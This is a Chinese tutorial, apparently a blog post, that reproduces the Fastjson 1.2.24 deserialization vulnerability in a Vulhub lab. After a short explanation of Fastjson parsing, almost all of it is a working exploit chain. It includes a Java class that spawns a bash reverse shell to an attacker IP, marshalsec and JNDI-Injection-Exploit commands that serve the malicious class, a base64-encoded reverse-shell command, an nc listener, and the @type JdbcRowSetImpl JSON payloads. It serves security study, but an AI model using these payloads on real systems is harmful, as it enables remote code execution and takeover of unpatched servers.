赞
踩
Fastjson是一个由阿里巴巴开源的Java库,用于将 Java 对象转换成其 JSON 表示形式,也可以用来将 JSON 字符串转换成等效的 Java 对象。这个过程通常称为序列化和反序列化。Fastjson 反序列化是指将 JSON 字符串转换为 Java 对象的过程。
首先假设你有如下的JSON字符串
{
"name": "John Doe",
"age": 30,
"isDeveloper": true
}
将这个 JSON 字符串反序列化为一个 Java 对象。首先,创建一个 Java 类来表示 JSON 数据
public class User {
private String name;
private int age;
private boolean isDeveloper;
// getters and setters 省略
}
然后,使用 Fastjson 的 JSON.parseObject
方法将 JSON 字符串转换为 User
类的实例
String jsonString = "{\"name\":\"John Doe\", \"age\":30, \"isDeveloper\":true}";
User user = JSON.parseObject(jsonString, User.class);
在这个例子中,jsonString
包含了要反序列化的 JSON 数据,User.class
是目标对象的类类型。Fastjson 会解析 JSON 字符串,并且将解析出的数据填充到新创建的 User
对象的相应字段中。
Fastjson允许JSON字符串中包含@type关键字来指示目标对象的类型。这意味着反序列化时,Fastjson会尝试加载并实例化这个类型的对象。如果应用程序配置允许自动类型识别,而没有适当的限制,攻击者就可以通过构造特殊的JSON字符串来指定恶意类
影响版本:Fastjson1.2.24及之前版本。
启动Vulhub靶场环境,本文不多做介绍,如需要请点击此处查看即可。
在dnslog里申请一个域名
访问拉取到的环境靶场并用burp suite拦截
修改请求为POST,修改 Content-Type为: application/json,添加请求内容
验证成功,说明存在漏洞
构建恶意类,创建java脚本(脚本中的IP为攻击机IP)
import java.lang.Runtime;
import java.lang.Process;
public class GetShell {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.15.128/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
在此文件的路径进入cmd执行如下命令编译为.class文件
javac GetShell.java
将生成的.class文件放入kali,并在其所在路径执行如下命令,使其可被访问。
python3 -m http.server 80
使用marshalsec,启动RMI服务。安装marshalsec或点此离线下载
git clone https://github.com/mbechler/marshalsec
安装maven
apt-get install maven
进入marshalsec目录,执行如下命令进行编译。
mvn clean package -DskipTests
编译完成
进入marshalsec/target目录,执行如下命令启动RMI服务并远程加在GetShell类
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.15.128:80/#GetShell" 3333
重新访问靶场环境地址,burp抓包,修改请求头为POST,修改修改 Content-Type为: application/json,并带入payload。
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.15.128:3333/GetShell",
"autoCommit":true
}
}
点击发送,httpserver收到请求,RMI服务器收到请求,复现成功。
正常情况下以上payload也可反弹shell,查了多个资料应该是jdk版本较高导致编译后无法反弹shell,更换环境比较头疼,下面是反弹shell操作步骤。
首先需要下载JNDI注入工具。git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
进入JNDI-Injection-Exploit目录
执行如下命令编译
mvn clean package -DskipTests
编译成功界面
构造反弹shell命令并进行base64编码。推荐编码地址
bash -i >& /dev/tcp/192.168.15.128/4444 0>&1
进入JNDI-Injection-Exploit/target,执行如下命令启动JDNI,生成payload。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1LjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.15.128"
执行如下命令监听
nc -lvvp 4444
burp抓取漏洞环境的数据包修改请求头为POST,Content-Type: application/json,添加payload点击发送
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.15.128:1099/s1ipur",
"autoCommit":true
}
}
成功反弹shell
将Fastjson升级至最新版本
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。